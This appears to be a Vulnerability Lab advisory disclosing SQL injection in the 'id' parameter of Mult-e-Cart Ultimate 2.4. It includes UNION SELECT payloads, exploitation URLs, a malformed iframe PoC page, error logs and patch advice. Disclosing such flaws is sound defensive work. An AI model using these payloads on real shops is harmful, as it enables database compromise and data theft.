
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
264 lines
No EOL
13 KiB
Text
264 lines
No EOL
13 KiB
Text
# Exploit Title: Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection
|
|
# Date: 2021-10-22
|
|
# Exploit Author: Vulnerability Lab
|
|
# Vendor Homepage: https://multecart.com/
|
|
# Version: 2.4
|
|
|
|
Document Title:
|
|
===============
|
|
Mult-e-Cart Ultimate v2.4 - SQL Injection Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2306
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2021-10-22
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2306
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
7
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
SQL Injection
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
1.000€ - 2.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Digital Multivendor Marketplace Online Store - eShop CMS
|
|
|
|
(Source: https://ultimate.multecart.com/ & https://www.techraft.in/ )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Techraft
|
|
Product: Digital Multivendor Marketplace Online Store v2.4 - eShop CMS (Web-Application)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2021-10-22: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
High
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Restricted Authentication (Moderator Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
No User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Independent Security Research
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
Multiple classic sql-injection web vulnerabilities has been discovered in the Mult-e-Cart Ultimate v2.4 (v2021) web-application.
|
|
The web vulnerability allows remote attackers to inject or execute own sql commands to compromise the database management system.
|
|
|
|
The vulnerabilities are located in the `id` parameter of the `view` and `update` function. The vulnerable modules are `inventory`,
|
|
`customer`, `vendor` and `order`. Remote attackers with a vendor shop account are able to exploit the vulnerable id parameter to
|
|
execute malicious sql commands. The request method to inject is get and the attack vector is located on the client-side. The remote
|
|
vulnerability is a classic order by sql-injection. The issue is exploitable with one of the two vendor roles or higher privileged
|
|
roles like admin.
|
|
|
|
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged vendor- or admin role user account.
|
|
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
|
|
|
|
Request Method(s):
|
|
[+] GET
|
|
|
|
Vulnerable Module(s):
|
|
[+] inventory/inventory/update
|
|
[+] /customer/customer/view
|
|
[+] /vendor/vendor/view
|
|
[+] /order/sub-order/view-order
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] id
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The remote sql injection web vulnerabilities can be exploited by remote attackers with privileged backend panel access without user interaction.
|
|
For security demonstration or to reproduce the remote sql-injection web vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
PoC: Payloads
|
|
1' union select 1,2,3,4,@@version--&edit=t
|
|
1' union select 1,2,3,4,@@database--&edit=t
|
|
|
|
|
|
PoC: Exploitation
|
|
https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5--&edit=t
|
|
https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5--&edit=t
|
|
https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5--&edit=t
|
|
https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5
|
|
-
|
|
https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5&edit=t
|
|
https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5&edit=t
|
|
https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5&edit=t
|
|
https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5
|
|
|
|
|
|
PoC: Exploit
|
|
<html>
|
|
<head><body>
|
|
<title>Mult-E-Cart Ultimate - SQL Injection PoC</title>
|
|
<iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@database--" width="400" height="400"><br>
|
|
<br>
|
|
<iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br>
|
|
<iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@version--" width="400" height="400">
|
|
</body></head>
|
|
</html>
|
|
|
|
|
|
--- SQL Error Exception Handling Logs ---
|
|
SQLSTATE[42S22]: Column not found: 1054 Unknown column '100' in 'order clause'
|
|
The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=1 order by 100--
|
|
-
|
|
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;
|
|
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 in /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php:1299
|
|
-
|
|
Stack trace:
|
|
#0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1299): PDOStatement->execute()
|
|
#1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')
|
|
#2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)
|
|
#3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()
|
|
#4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)
|
|
#5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()
|
|
#6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')
|
|
#7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')
|
|
#8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)
|
|
#9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)
|
|
#10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)
|
|
#11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)
|
|
#12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))
|
|
#13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()
|
|
#14 {main}
|
|
-
|
|
Next yiidbException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax;
|
|
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
|
|
The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=-1' in /home/test/MulteCart/vendor/yiisoft/yii2/db/Schema.php:678
|
|
-
|
|
Stack trace:
|
|
#0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1304): yiidbSchema->convertException(Object(PDOException), 'SELECT * FROM `...')
|
|
#1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...')
|
|
#2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL)
|
|
#3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne()
|
|
#4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL)
|
|
#5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one()
|
|
#6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'')
|
|
#7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'')
|
|
#8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)
|
|
#9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array)
|
|
#10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array)
|
|
#11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array)
|
|
#12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest))
|
|
#13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run()
|
|
#14 {main}
|
|
Debug Array:
|
|
[0] => 42000
|
|
[1] => 1064
|
|
[2] => You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
|
|
-
|
|
|
|
|
|
Reference(s):
|
|
https://multecartultimate.localhost:8080/vendor/vendor/view
|
|
https://multecartultimate.localhost:8080/customer/customer/view
|
|
https://multecartultimate.localhost:8080/inventory/inventory/update
|
|
https://multecartultimate.localhost:8080/order/sub-order/view-order
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
The vulnerability can be resolved by the following description ...
|
|
1. Disable to display the sql errors for other users then the admin or pipe it into a local log file outside the panel ui
|
|
2. Use a prepared statement to protect the query against further injection attacks
|
|
3. Restrict the vulnerable id parameter to disallow usage of special chars of post and get method requests
|
|
4. Encode and escape the id content on get method request with the id parameter
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY (VULNERABILITY LAB)
|
|
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
|
|
LUDWIG-ERHARD STRAßE 4
|
|
34131 KASSEL - HESSEN
|
|
DEUTSCHLAND (DE) |